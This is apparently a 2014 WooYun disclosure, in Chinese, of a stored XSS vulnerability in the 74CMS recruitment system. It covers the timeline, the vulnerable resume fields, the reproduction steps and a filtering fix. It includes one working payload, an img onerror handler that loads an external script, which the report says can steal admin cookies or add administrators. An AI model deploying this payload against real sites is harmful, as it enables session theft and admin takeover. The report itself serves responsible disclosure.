漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-061721
漏洞标题：74cms人才系统存储型XSS漏洞
相关厂商：74c,s.com
漏洞作者： dilcon
提交时间：2014-05-22 23:19
修复时间：2014-08-20 23:28
公开时间：2014-08-20 23:28
漏洞类型：xss跨站脚本攻击
危害等级：中
自评Rank：15
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-05-22： 细节已通知厂商并且等待厂商处理中
2014-05-24： 厂商已经确认，细节仅向厂商公开
2014-05-27： 细节向第三方安全合作伙伴开放
2014-07-18： 细节向核心白帽子及相关领域专家公开
2014-07-28： 细节向普通白帽子公开
2014-08-07： 细节向实习白帽子公开
2014-08-20： 细节向公众公开
简要描述：
74CMS对用户输入没有进行有效过滤，导致XSS漏洞存在。漏洞触发时，可拿到系统管理员COOKIE信息，修改后台设置，增加管理员等。
详细说明：
1、74CMS人才系统对创建简历的各字段没有进行有效过滤，导致存储型XSS漏洞的存在，存在漏洞的字段包括户口所在地、技能特长、工作经历等等。
当系统管理员登陆后台，审核用户提交简历时，漏洞便会触发。利用此漏洞可以盗取管理员的cookie信息登陆后台、或者使用恶意脚本修改后台设置，例如：删除用户提交简历，增加新的管理员等等。
2、从官网：http://www.74cms.com/ 下载最新版源代码，在本地搭建环境进行测试。
漏洞证明：
1、注册普通用户，在会员中心模块创建新简历，并在技能技能特长部分输入以下内容：
2、简历创建完毕，系统管理员登陆后台，查看简历进行审核：
3、打开简历，漏洞触发：
4、使用Firebug查看源代码：
5、修改插入的恶意标签为：
<img src=x onerror=d=document;e=d.createElement('script');e.src='http://127.0.0.1/eXploit.js';d.body.appendChild(e);>
6、管理员审核简历，漏洞触发：
成功加载本地脚本，通过修改脚本代码，我们可以对系统后台进行恶意修改，例如：删除简历，增加管理员等等。
修复方案：
对用户创建简历的各个字段进行有效过滤，禁止特殊字符和特殊属性的输入。
版权声明：转载请注明来源 dilcon@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：15
确认时间：2014-05-24 15:46
厂商回复：
最新状态：
暂无